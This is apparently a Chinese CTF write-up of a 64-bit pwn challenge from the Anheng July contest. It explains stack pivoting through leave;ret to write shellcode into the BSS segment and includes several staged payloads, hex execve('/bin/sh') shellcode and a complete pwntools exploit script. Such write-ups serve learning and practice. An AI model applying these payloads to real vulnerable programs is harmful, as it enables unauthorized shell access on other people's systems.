今天刚看了看安恒的7月月赛,觉得pwn蛮有意思,一开始窝还想歪了,于是做个记录(*^_^*)

检查保护

mark

Result:无保护,64位程序

寻找漏洞

mark

使用IDA可以发现明显的栈溢出漏洞,但是函数列表中发现没有任何的输出函数。因此一开始还以为这个题的考察点是ret2dlresolve。但是事实上在X64平台施行ret2dlresolve是十分困难的。这里摘取一段Veritas501大佬关于X64平台施行ret2dlresolve困难性的描述(原文传送门)。

绕过version的方法不能再用用x86的方法了,这是因为在64位下,程序一般分配了0x400000-0x401000,0x600000-0x601000,0x601000-0x602000这三个段,而VERSYM在0x400000-0x401000,伪造的一些表我们一般是伪造在0x601000-0x602000这个rw段上,这样idx是落不到已经分配的段上的,因此构造失败.

方法变成了覆盖 (link_map + 0x1c8) 处为 NULL, 也就是if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)这一句.
但是link_map是在ld.so上的,因此我们需要leak,若程序没有输出函数,则无法使用这个方法.

这样,在64位上的ret2dlresolve就有了一个很大的局限点,就是需要leak,并overwrite,有这个能力的话,其实我们就有很多其他更好的target了.

如果要求没有leak就要使用伪造linkmap的方法。

其实这里应该想到,此处的NX保护未开启!

因此应当考虑使用ret2shellcode技术!并且注意到ret2shellcode技术也是无需输出函数的。

那么我们接下来需要解决的就是溢出空间过小的问题,我们此处采取栈迁移技术~

栈迁移

这里我们需要明确的是,在函数中,程序需要访问变量或者参数时一般都是基于rbp/ebp指针加偏移的方式。

那么我们这里可以操控程序返回时rbp的值

也就是说,如果我们让函数在返回时再次运行函数中的read(0, &buf, 0x20uLL);的话,我们相当于获得了一个任意地址写的能力。(因为此处&buf其实是[RBP+(-8)])

那么我们就可以将shellcode写到BSS段。

这里我们还需要明确当程序遇到leave;ret;时的具体操作

leave:
movq %rbp, %rsp    # 使 %rsp 和 %rbp 指向同一位置,即子栈帧的起始处。
popq %rbp # 将栈中保存的父栈帧的 %rbp 的值赋值给 %rbp,并且 %rsp 上移一个位置指向父栈帧的结尾处。
ret:
popq %rsp # 从当前 %rsp 指向的位置(即栈顶)弹出数据,并跳转到此数据代表的地址处。

那么构造payload_1='A'*0x8+p64(BSS-0x8)+p64(函数内部read函数起始)+p64(函数内部read函数起始)

当该payload被发送过去以后,栈的情况如下

mark

然后进行mov %rbp, %rsp:

mark

然后进行pop %rbp:

mark

然后进行pop %rsp:

mark

然后向[EBP-0x8]也就是BSS段写入数据,然后再次遇到mov %rbp, %rsp:

mark

然后进行pop %rbp:

mark

那么我们可以很容易地发现payload应当调整为

payload_1=p64(0xdeadbeef)+p64(BSS-0x8)+p64(函数内部read函数起始)
payload_2=p64(0xdeadbeef)+p64(BSS+0x8)+p64(函数内部read函数起始)
payload_3=p64(BSS+0x8)+shellcode

我们接下来使用图示来详细的说明它,首先发送payload_1,内存布局如下

mark

然后进行mov %rbp, %rsp:

mark

然后进行pop %rbp:

mark

然后进行pop %rsp:

mark

接下来发送payload_2,内存布局如下

mark

然后进行mov %rbp, %rsp:

mark

然后进行pop %rbp:

mark

然后进行pop %rsp:

mark

接下来发送payload_3,内存布局如下

mark

然后进行mov %rbp, %rsp:

mark

然后进行pop %rbp:

mark

然后进行pop %rsp:

mark

此时EIP被指到了[BSS+0x8],完成利用。

这里给出相关内存地址与完整payload。

# .text:0000000000400678 buf             = byte ptr -8
# ... ...
# .text:000000000040068A                 lea     rax, [rbp+buf]
# .text:000000000040068E                 mov     edx, 20h        ; nbytes
# .text:0000000000400693                 mov     rsi, rax        ; buf
# .text:0000000000400696                 mov     edi, 0          ; fd
# .text:000000000040069B                 mov     eax, 0
# .text:00000000004006A0                 call    _read
# .text:00000000004006A5                 mov     eax, 0
# .text:00000000004006AA                 leave
# .text:00000000004006AB                 retn
# ... ...
# .bss :0000000000601050 _bss            segment para public 'BSS' use64
payload_1=p64(0xdeadbeef)+p64(0x601050-0x8)+p64(0x40068A)
payload_2=p64(0xdeadbeef)+p64(0x601050+0x8)+p64(0x40068A)
payload_3=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

EXP

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

unexploit=ELF("./unexploit")
# libc=ELF("./")
# ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./unexploit")

payload_1='A'*0x8+p64(0x601050-0x8)+p64(0x40068A)
payload_2=p64(0xdeadbeef)+p64(0x601050+0x8)+p64(0x40068A)
payload_3=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

sh.send(payload_1)
sh.send(payload_2)
sh.send(payload_3)
sh.interactive()
print(sh.recv())

其他问题

事实上这里还有一些其他的问题,如果使用我上面所述的exp,由于为了避免sendline尾部插入的0x0A对我们的ROP链造成影响,我上面使用了send作为发送函数,但这里就会产生一个问题,当我们发送payload_1后,程序并不会停止读入,而是会继续读取payload_2的前八个字节,同时payload_2的前八个字节缺失。会导致程序在读payload_2时一次性同时读入了payload_3。这样会使我们构造的BSS段与我们预期构造的BSS段产生差别,使BSS段在发送完payload_2时呈现如下的样子。

mark

然后进行mov %rbp, %rsppop %rbp操作后:

mark

最后进行pop %rsp,恰好shellcode的起始地址成为了EIP:

mark

也就是说,此时事实上应该是这样的payload

payload_1='A'*0x8+p64(0x601050-0x8)+p64(0x40068A)+p64(0xdeadbeef)
payload_2=p64(0x601050+0x8)+p64(0x40068A)
payload_2+=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

sh.send(payload_1)
sh.send(payload_2)
sh.interactive()

按照我预期的BBS段构造,EXP应当修改为:

payload_1='A'*0x8+p64(0x601050-0x8)+p64(0x40068A)+p64(0xdeadbeef)
payload_2=p64(0xdeadbeef)+p64(0x601050+0x8)+p64(0x40068A)+p64(0xdeadbeef)
payload_3=p64(0x601050+0x8)+'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

sh.send(payload_1)
sh.send(payload_2)
sh.send(payload_3)
sh.interactive()

但事实上,当时我们使用这样的exp调试时,我们会发现,程序会在第二次进入read后即getshell,并没有在leave;ret;后getshell。

要解决这个问题,我们需要分析一下第三次进入read的调用情况。

首先我们知道,在x64下,read的三个参数由寄存器传递,不需要涉及栈操作

mark

那么当程序进入read之后要先对RBP和返回地址进行压栈(保护现场)

mark

接下来程序会对[(BSS+0x8)+(-0x8)]的内存区域写入payload_3。
注意此时read的返回地址被覆盖为了shellcode的起始地址,因此,在read返回时就会返回到我们的shellcode区域。

mark

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注